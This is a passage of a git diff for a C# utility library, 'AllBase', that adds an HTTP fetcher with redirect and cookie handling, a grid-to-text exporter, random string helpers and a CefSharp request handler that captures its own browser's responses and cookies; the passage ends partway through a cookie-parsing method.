|
||||
{
|
||||
html = Encoding.UTF8.GetString(b);
|
||||
}
|
||||
|
||||
}
|
||||
if (retryTimes < 3 && (!string.IsNullOrEmpty(location) || string.IsNullOrEmpty(html)))
|
||||
{
|
||||
//下面是支持301和302跳转部分
|
||||
if (location.Length > 8 && (location.Substring(0, 7) == "http://" || location.Substring(0, 8) == "https://" || location.Substring(0, 6) == "ftp://"))
|
||||
{
|
||||
url = location;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (location.Substring(0, 1) == "/")
|
||||
{
|
||||
string[] l = url.Split('/');
|
||||
if (l.Length > 3)
|
||||
{
|
||||
url = "";
|
||||
for (int i = 0; i < 3; i++)
|
||||
url += l[i] + "/";
|
||||
url += location.Substring(1, location.Length - 1);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (url.Substring(url.Length - 1, 1) == "/")
|
||||
url += location;
|
||||
else
|
||||
url += "/" + location;
|
||||
}
|
||||
}
|
||||
retryTimes++;
|
||||
goto GotoAgen;
|
||||
}
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
if (e.Message.Contains("(404)") || e.Message.Contains("(403)") || e.Message.Contains("(500)"))
|
||||
{
|
||||
IsError = true;
|
||||
html = e.Message;
|
||||
}
|
||||
if (!IsError && retryTimes < 1)
|
||||
{
|
||||
Thread.Sleep(2000);
|
||||
retryTimes++;
|
||||
goto GotoAgen;
|
||||
}
|
||||
IsError = true;
|
||||
html = e.Message;
|
||||
}
|
||||
if (b == null || b.Length == 0)
|
||||
return "";
|
||||
foreach (byte b1 in b)
|
||||
{
|
||||
if (b1 > 227 && b1 < 235)
|
||||
{
|
||||
isChinese = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (html.Length > 2 * 1024 * 1024)
|
||||
{
|
||||
had = false;
|
||||
return "";
|
||||
}
|
||||
had = true;
|
||||
//if (b == null) //
|
||||
return html;
|
||||
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// 获取域名
|
||||
/// </summary>
|
||||
/// <param name="url"></param>
|
||||
/// <returns></returns>
|
||||
private string GetDomain(string url)
|
||||
{
|
||||
try
|
||||
{
|
||||
url = url.Substring(url.IndexOf("//") + 2, url.Length - url.IndexOf("//") - 2);
|
||||
if (url.IndexOf("/") > -1)
|
||||
url = url.Substring(0, url.IndexOf("/"));
|
||||
return url;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// 返回单个正则分析结果
|
||||
/// </summary>
|
||||
/// <param name="HtmlString"></param>
|
||||
/// <param name="RegexString"></param>
|
||||
/// <returns></returns>
|
||||
private string GetRegexString(string HtmlString, string RegexString)
|
||||
{
|
||||
MatchCollection mc = Regex.Matches(HtmlString, RegexString, RegexOptions.IgnoreCase);
|
||||
if (mc.Count > 0)
|
||||
return mc[0].Groups[1].ToString();
|
||||
return "";
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 更新cookies
|
||||
/// </summary>
|
||||
/// <param name="old"></param>
|
||||
/// <param name="newc"></param>
|
||||
/// <returns></returns>
|
||||
public string UpCookies(string old, string newc)
|
||||
{
|
||||
if (string.IsNullOrEmpty(newc))
|
||||
return old;
|
||||
if (string.IsNullOrEmpty(old))
|
||||
old = " ";
|
||||
int io = 0;
|
||||
old = old.Trim();
|
||||
newc = newc.Trim();
|
||||
string[] o = old.Split(';');
|
||||
string[] n = newc.Split(';');
|
||||
List<CoockiesValue> c = new List<CoockiesValue>();
|
||||
for (int i = 0; i < o.Length; i++)
|
||||
{
|
||||
CoockiesValue cv = new CoockiesValue();
|
||||
io = o[i].IndexOf("=");
|
||||
if (io > -1)
|
||||
{
|
||||
cv.Title = o[i].Substring(0, io).Trim();
|
||||
cv.Value = o[i].Substring(io + 1, o[i].Length - io - 1).Trim();
|
||||
}
|
||||
else
|
||||
{
|
||||
if (!string.IsNullOrEmpty(o[i]))
|
||||
cv.Title = o[i].Trim();
|
||||
}
|
||||
if (string.IsNullOrEmpty(cv.Title) || cv.Title == "domain" || cv.Title == "expires" || cv.Title == "path" || cv.Title.ToLower() == "httponly")
|
||||
continue;
|
||||
if (!string.IsNullOrEmpty(cv.Title))
|
||||
c.Add(cv);
|
||||
}
|
||||
for (int i = 0; i < n.Length; i++)
|
||||
{
|
||||
CoockiesValue cv = new CoockiesValue();
|
||||
io = n[i].IndexOf("=");
|
||||
if (io > -1)
|
||||
{
|
||||
cv.Title = n[i].Substring(0, io).Trim();
|
||||
cv.Value = n[i].Substring(io + 1, n[i].Length - io - 1).Trim();
|
||||
}
|
||||
else
|
||||
{
|
||||
if (!string.IsNullOrEmpty(n[i]))
|
||||
cv.Title = n[i].Trim();
|
||||
}
|
||||
if (!string.IsNullOrEmpty(cv.Title))
|
||||
{
|
||||
bool isHad = false;
|
||||
for (int j = 0; j < c.Count; j++)
|
||||
{
|
||||
if (cv.Title == c[j].Title)
|
||||
{
|
||||
c[j].Value = cv.Value;
|
||||
isHad = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (string.IsNullOrEmpty(cv.Title) || string.IsNullOrEmpty(cv.Value) || cv.Title == "domain" || cv.Title == "expires"
|
||||
|| cv.Title == "path"&& !cv.Value.Contains("/,") || cv.Title.ToLower() == "httponly")
|
||||
continue;
|
||||
if (!isHad)
|
||||
{
|
||||
if (cv.Title == "path" && cv.Value.Contains("/,")&&cv.Value.IndexOf("/,")==0 && cv.Value.Length>2)
|
||||
{
|
||||
string t = cv.Value.Substring(2);
|
||||
if(!t.Contains("=")|| t.IndexOf("=")>t.Length-1)
|
||||
continue;
|
||||
cv.Title = t.Substring(0, t.IndexOf("="));
|
||||
cv.Value = t.Substring(t.IndexOf("=") + 1);
|
||||
}
|
||||
c.Add(cv);
|
||||
}
|
||||
}
|
||||
}
|
||||
string temp = "";
|
||||
for (int i = 0; i < c.Count; i++)
|
||||
{
|
||||
if (string.IsNullOrEmpty(c[i].Value))
|
||||
temp += c[i].Title + "; ";
|
||||
else
|
||||
temp += c[i].Title + "=" + c[i].Value + "; ";
|
||||
}
|
||||
return temp;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,131 @@
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class OutExcel
|
||||
{
|
||||
/// <summary>
|
||||
/// 保存数据
|
||||
/// </summary>
|
||||
/// <param name="patch"></param>
|
||||
/// <param name="dt"></param>
|
||||
/// <returns></returns>
|
||||
public static bool SaveFile(string patch, DataGridView dt)
|
||||
{
|
||||
string temp = "";
|
||||
for (int i = 0; i < dt.ColumnCount; i++)
|
||||
{
|
||||
if (dt.Columns[i].Visible && dt.Columns[i].HeaderText != "删除" && dt.Columns[i].HeaderText != "历史记录")
|
||||
temp += dt.Columns[i].HeaderText + "\t";
|
||||
}
|
||||
if (!string.IsNullOrEmpty(temp))
|
||||
temp += "\r\n";
|
||||
try
|
||||
{
|
||||
if (File.Exists(patch))
|
||||
File.Delete(patch);
|
||||
File.WriteAllText(patch, temp, Encoding.Unicode);
|
||||
temp = "";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
for (int i = 0; i < dt.RowCount; i++)
|
||||
{
|
||||
for (int j = 0; j < dt.ColumnCount; j++)
|
||||
{
|
||||
if (dt.Columns[j].Visible && dt.Columns[j].HeaderText != "删除" && dt.Columns[j].HeaderText != "历史记录")
|
||||
temp += dt.Rows[i].Cells[j].Value + "\t";
|
||||
}
|
||||
temp += "\r\n";
|
||||
if (temp.Length > 2000)
|
||||
{
|
||||
try
|
||||
{
|
||||
File.AppendAllText(patch, temp, Encoding.Unicode);
|
||||
temp = "";
|
||||
}
|
||||
catch
|
||||
{
|
||||
//return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (string.IsNullOrEmpty(temp))
|
||||
return true;
|
||||
try
|
||||
{
|
||||
File.AppendAllText(patch, temp, Encoding.Unicode);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
public static bool SaveFileCheckBox(string patch, DataGridView dt)
|
||||
{
|
||||
string temp = "";
|
||||
for (int i = 0; i < dt.ColumnCount; i++)
|
||||
{
|
||||
if (dt.Columns[i].HeaderText != "删除" && dt.Columns[i].HeaderText != "全选")
|
||||
temp += dt.Columns[i].HeaderText + "\t";
|
||||
}
|
||||
if (!string.IsNullOrEmpty(temp))
|
||||
temp += "\r\n";
|
||||
try
|
||||
{
|
||||
if (File.Exists(patch))
|
||||
File.Delete(patch);
|
||||
File.WriteAllText(patch, temp, Encoding.Unicode);
|
||||
temp = "";
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
for (int i = 0; i < dt.RowCount; i++)
|
||||
{
|
||||
if (bool.Parse(dt.Rows[i].Cells["isCheckBoxColumny"].Value.ToString()) == false)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
for (int j = 0; j < dt.ColumnCount; j++)
|
||||
{
|
||||
if (dt.Columns[j].HeaderText != "删除" && dt.Columns[j].HeaderText != "全选")
|
||||
{
|
||||
temp += dt.Rows[i].Cells[j].Value + "\t";
|
||||
}
|
||||
}
|
||||
temp += "\r\n";
|
||||
if (temp.Length > 2000)
|
||||
{
|
||||
try
|
||||
{
|
||||
File.AppendAllText(patch, temp, Encoding.Unicode);
|
||||
temp = "";
|
||||
}
|
||||
catch
|
||||
{
|
||||
//return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (string.IsNullOrEmpty(temp))
|
||||
return true;
|
||||
try
|
||||
{
|
||||
File.AppendAllText(patch, temp, Encoding.Unicode);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// 有关程序集的常规信息通过以下
|
||||
// 特性集控制。更改这些特性值可修改
|
||||
// 与程序集关联的信息。
|
||||
[assembly: AssemblyTitle("AllBase")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("Microsoft")]
|
||||
[assembly: AssemblyProduct("AllBase")]
|
||||
[assembly: AssemblyCopyright("Copyright © Microsoft 2015")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// 将 ComVisible 设置为 false 使此程序集中的类型
|
||||
// 对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型,
|
||||
// 则将该类型上的 ComVisible 特性设置为 true。
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
|
||||
[assembly: Guid("08485fa0-be99-4481-b47e-dc7a331c2f34")]
|
||||
|
||||
// 程序集的版本信息由下面四个值组成:
|
||||
//
|
||||
// 主版本
|
||||
// 次版本
|
||||
// 内部版本号
|
||||
// 修订号
|
||||
//
|
||||
// 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值,
|
||||
// 方法是按如下所示使用“*”:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
Generated
+63
@@ -0,0 +1,63 @@
|
||||
//------------------------------------------------------------------------------
|
||||
// <auto-generated>
|
||||
// 此代码由工具生成。
|
||||
// 运行时版本:4.0.30319.42000
|
||||
//
|
||||
// 对此文件的更改可能会导致不正确的行为,并且如果
|
||||
// 重新生成代码,这些更改将会丢失。
|
||||
// </auto-generated>
|
||||
//------------------------------------------------------------------------------
|
||||
|
||||
namespace AllBase.Properties {
|
||||
using System;
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// 一个强类型的资源类,用于查找本地化的字符串等。
|
||||
/// </summary>
|
||||
// 此类是由 StronglyTypedResourceBuilder
|
||||
// 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
|
||||
// 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen
|
||||
// (以 /str 作为命令选项),或重新生成 VS 项目。
|
||||
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")]
|
||||
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
|
||||
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
|
||||
internal class Resources {
|
||||
|
||||
private static global::System.Resources.ResourceManager resourceMan;
|
||||
|
||||
private static global::System.Globalization.CultureInfo resourceCulture;
|
||||
|
||||
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
|
||||
internal Resources() {
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 返回此类使用的缓存的 ResourceManager 实例。
|
||||
/// </summary>
|
||||
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
||||
internal static global::System.Resources.ResourceManager ResourceManager {
|
||||
get {
|
||||
if (object.ReferenceEquals(resourceMan, null)) {
|
||||
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("AllBase.Properties.Resources", typeof(Resources).Assembly);
|
||||
resourceMan = temp;
|
||||
}
|
||||
return resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 重写当前线程的 CurrentUICulture 属性
|
||||
/// 重写当前线程的 CurrentUICulture 属性。
|
||||
/// </summary>
|
||||
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
|
||||
internal static global::System.Globalization.CultureInfo Culture {
|
||||
get {
|
||||
return resourceCulture;
|
||||
}
|
||||
set {
|
||||
resourceCulture = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@@ -0,0 +1,58 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class Randomx
|
||||
{
|
||||
public static string WordBase = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz";
|
||||
public static string NumberBase = "0123456789";
|
||||
public static string SignWordBase = ".`~^*_| -#$%&?+";//".`~^*_| -#$%&?";
|
||||
|
||||
public static int GetId(int max)
|
||||
{
|
||||
return new Random(Guid.NewGuid().GetHashCode()).Next(0, max);
|
||||
}
|
||||
|
||||
public static int GetId(int min, int max)
|
||||
{
|
||||
return new Random(Guid.NewGuid().GetHashCode()).Next(min, max);
|
||||
}
|
||||
|
||||
public static string GetWord(int len)
|
||||
{
|
||||
StringBuilder s = new StringBuilder();
|
||||
for (int i = 0; i < len; i++)
|
||||
{
|
||||
s.Append(WordBase[new Random(Guid.NewGuid().GetHashCode()).Next(WordBase.Length)]);
|
||||
}
|
||||
return s.ToString();
|
||||
}
|
||||
public static string GetNumber(int len)
|
||||
{
|
||||
StringBuilder s = new StringBuilder();
|
||||
for (int i = 0; i < len; i++)
|
||||
{
|
||||
s.Append(NumberBase[new Random(Guid.NewGuid().GetHashCode()).Next(NumberBase.Length)]);
|
||||
}
|
||||
return s.ToString();
|
||||
}
|
||||
/// <summary>
|
||||
/// 获取新的属性名称
|
||||
/// </summary>
|
||||
/// <param name="name"></param>
|
||||
/// <returns></returns>
|
||||
public static string GetNewProp(bool begin, string name)
|
||||
{
|
||||
char w = SignWordBase[new Random(Guid.NewGuid().GetHashCode()).Next(SignWordBase.Length)];
|
||||
char add = SignWordBase[new Random(Guid.NewGuid().GetHashCode()).Next(SignWordBase.Length)];
|
||||
if (begin)
|
||||
name +=""+ w + add ;
|
||||
else
|
||||
name = ""+add + w + "" + name;
|
||||
return name;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,340 @@
|
||||
using CefSharp;
|
||||
using NaiBa.Util.Extension;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Collections.Specialized;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class RequestHandler : IRequestHandler
|
||||
{
|
||||
public List<string> IgnoreList = new List<string>();
|
||||
public List<string> NotIgnoreList = new List<string>();
|
||||
public string UserAgent = string.Empty;
|
||||
public List<Cookie> CookieList = new List<Cookie>(); // 留作测试使用
|
||||
|
||||
public event Action<string, string, string> ResourceLoadComplete; // requestUrl, postData, responseData
|
||||
public event Action<string, string, string> ResourceRedirect; // requestUrl, postData, redirectUrl
|
||||
|
||||
bool IRequestHandler.OnBeforeBrowse(IWebBrowser browserControl, IBrowser browser, IFrame frame, IRequest request, bool isRedirect)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
bool IRequestHandler.OnOpenUrlFromTab(IWebBrowser browserControl, IBrowser browser, IFrame frame, string targetUrl, WindowOpenDisposition targetDisposition, bool userGesture)
|
||||
{
|
||||
return OnOpenUrlFromTab(browserControl, browser, frame, targetUrl, targetDisposition, userGesture);
|
||||
}
|
||||
|
||||
protected virtual bool OnOpenUrlFromTab(IWebBrowser browserControl, IBrowser browser, IFrame frame, string targetUrl, WindowOpenDisposition targetDisposition, bool userGesture)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
bool IRequestHandler.OnCertificateError(IWebBrowser browserControl, IBrowser browser, CefErrorCode errorCode, string requestUrl, ISslInfo sslInfo, IRequestCallback callback)
|
||||
{
|
||||
//NOTE: If you do not wish to implement this method returning false is the default behaviour
|
||||
// We also suggest you explicitly Dispose of the callback as it wraps an unmanaged resource.
|
||||
//callback.Dispose();
|
||||
//return false;
|
||||
|
||||
//NOTE: When executing the callback in an async fashion need to check to see if it's disposed
|
||||
if (!callback.IsDisposed)
|
||||
{
|
||||
using (callback)
|
||||
{
|
||||
//To allow certificate
|
||||
//callback.Continue(true);
|
||||
//return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void IRequestHandler.OnPluginCrashed(IWebBrowser browserControl, IBrowser browser, string pluginPath)
|
||||
{
|
||||
// TODO: Add your own code here for handling scenarios where a plugin crashed, for one reason or another.
|
||||
}
|
||||
|
||||
CefReturnValue IRequestHandler.OnBeforeResourceLoad(IWebBrowser browserControl, IBrowser browser, IFrame frame, IRequest request, IRequestCallback callback)
|
||||
{
|
||||
if (NotIgnoreList.Any())
|
||||
{
|
||||
if (NotIgnoreList.Where(p => request.Url.Contains(p)).Any())
|
||||
{
|
||||
return CefReturnValue.Continue;
|
||||
}
|
||||
}
|
||||
if (IgnoreList.Any())
|
||||
{
|
||||
if (IgnoreList.Where(p => request.Url.Contains(p)).Any())
|
||||
{
|
||||
return CefReturnValue.Cancel;
|
||||
}
|
||||
}
|
||||
NameValueCollection headers = request.Headers;
|
||||
if (!string.IsNullOrEmpty(UserAgent))
|
||||
{
|
||||
headers["User-Agent"] = UserAgent;
|
||||
}
|
||||
request.Headers = headers;
|
||||
return CefReturnValue.Continue;
|
||||
}
|
||||
|
||||
bool IRequestHandler.GetAuthCredentials(IWebBrowser browserControl, IBrowser browser, IFrame frame, bool isProxy, string host, int port, string realm, string scheme, IAuthCallback callback)
|
||||
{
|
||||
//NOTE: If you do not wish to implement this method returning false is the default behaviour
|
||||
// We also suggest you explicitly Dispose of the callback as it wraps an unmanaged resource.
|
||||
|
||||
callback.Dispose();
|
||||
return false;
|
||||
}
|
||||
|
||||
bool IRequestHandler.OnSelectClientCertificate(IWebBrowser browserControl, IBrowser browser, bool isProxy, string host, int port, X509Certificate2Collection certificates, ISelectClientCertificateCallback callback)
|
||||
{
|
||||
//NOTE: If you do not wish to implement this method returning false is the default behaviour
|
||||
// We also suggest you explicitly Dispose of the callback as it wraps an unmanaged resource.
|
||||
|
||||
return OnSelectClientCertificate(browserControl, browser, isProxy, host, port, certificates, callback);
|
||||
}
|
||||
|
||||
protected virtual bool OnSelectClientCertificate(IWebBrowser browserControl, IBrowser browser, bool isProxy, string host, int port, X509Certificate2Collection certificates, ISelectClientCertificateCallback callback)
|
||||
{
|
||||
callback.Dispose();
|
||||
return false;
|
||||
}
|
||||
|
||||
void IRequestHandler.OnRenderProcessTerminated(IWebBrowser browserControl, IBrowser browser, CefTerminationStatus status)
|
||||
{
|
||||
// TODO: Add your own code here for handling scenarios where the Render Process terminated for one reason or another.
|
||||
// browserControl.Load(CefExample.RenderProcessCrashedUrl);
|
||||
}
|
||||
|
||||
bool IRequestHandler.OnQuotaRequest(IWebBrowser browserControl, IBrowser browser, string originUrl, long newSize, IRequestCallback callback)
|
||||
{
|
||||
//NOTE: If you do not wish to implement this method returning false is the default behaviour
|
||||
// We also suggest you explicitly Dispose of the callback as it wraps an unmanaged resource.
|
||||
//callback.Dispose();
|
||||
//return false;
|
||||
|
||||
//NOTE: When executing the callback in an async fashion need to check to see if it's disposed
|
||||
if (!callback.IsDisposed)
|
||||
{
|
||||
using (callback)
|
||||
{
|
||||
//Accept Request to raise Quota
|
||||
//callback.Continue(true);
|
||||
//return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void IRequestHandler.OnResourceRedirect(IWebBrowser browserControl, IBrowser browser, IFrame frame, IRequest request, IResponse response, ref string newUrl)
|
||||
{
|
||||
if (ResourceRedirect != null)
|
||||
{
|
||||
string postData = GetPostData(request);
|
||||
ResourceRedirect.Invoke(request.Url, postData, newUrl);
|
||||
}
|
||||
}
|
||||
|
||||
bool IRequestHandler.OnProtocolExecution(IWebBrowser browserControl, IBrowser browser, string url)
|
||||
{
|
||||
return url.StartsWith("mailto");
|
||||
}
|
||||
|
||||
void IRequestHandler.OnRenderViewReady(IWebBrowser browserControl, IBrowser browser)
|
||||
{
|
||||
}
|
||||
|
||||
bool IRequestHandler.OnResourceResponse(IWebBrowser browserControl, IBrowser browser, IFrame frame, IRequest request, IResponse response)
|
||||
{
|
||||
//NOTE: You cannot modify the response, only the request
|
||||
// You can now access the headers
|
||||
//var headers = response.ResponseHeaders;
|
||||
return false;
|
||||
}
|
||||
|
||||
IResponseFilter IRequestHandler.GetResourceResponseFilter(IWebBrowser browserControl, IBrowser browser, IFrame frame, IRequest request, IResponse response)
|
||||
{
|
||||
string cookie = response.ResponseHeaders["Set-Cookie"].ParseToString();
|
||||
if (!string.IsNullOrEmpty(cookie))
|
||||
{
|
||||
SetCookie(cookie);
|
||||
}
|
||||
string contentType = response.ResponseHeaders["Content-Type"];
|
||||
if (string.IsNullOrEmpty(contentType))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
if (contentType.Contains("application/json") || contentType.Contains("text/javascript"))
|
||||
{
|
||||
if (ResourceLoadComplete != null)
|
||||
{
|
||||
IResponseFilter filter = FilterManager.CreateFilter(request.Identifier.ToString());
|
||||
return filter;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
void IRequestHandler.OnResourceLoadComplete(IWebBrowser browserControl, IBrowser browser, IFrame frame, IRequest request, IResponse response, UrlRequestStatus status, long receivedContentLength)
|
||||
{
|
||||
string contentType = response.ResponseHeaders["Content-Type"];
|
||||
if (string.IsNullOrEmpty(contentType))
|
||||
{
|
||||
return;
|
||||
}
|
||||
if (contentType.Contains("application/json") || contentType.Contains("text/javascript"))
|
||||
{
|
||||
if (ResourceLoadComplete != null)
|
||||
{
|
||||
JsonFilter jsonFilter = FilterManager.GetFileter(request.Identifier.ToString()) as JsonFilter;
|
||||
if (jsonFilter != null)
|
||||
{
|
||||
UTF8Encoding encoding = new UTF8Encoding();
|
||||
string responseData = encoding.GetString(jsonFilter.DataAll.ToArray());
|
||||
string postData = GetPostData(request);
|
||||
ResourceLoadComplete.Invoke(request.Url, postData, responseData);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
private void SetCookie(string cookie)
|
||||
{
|
||||
string[] commaArr = cookie.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries);
|
||||
foreach (string comma in commaArr)
|
||||
{
|
||||
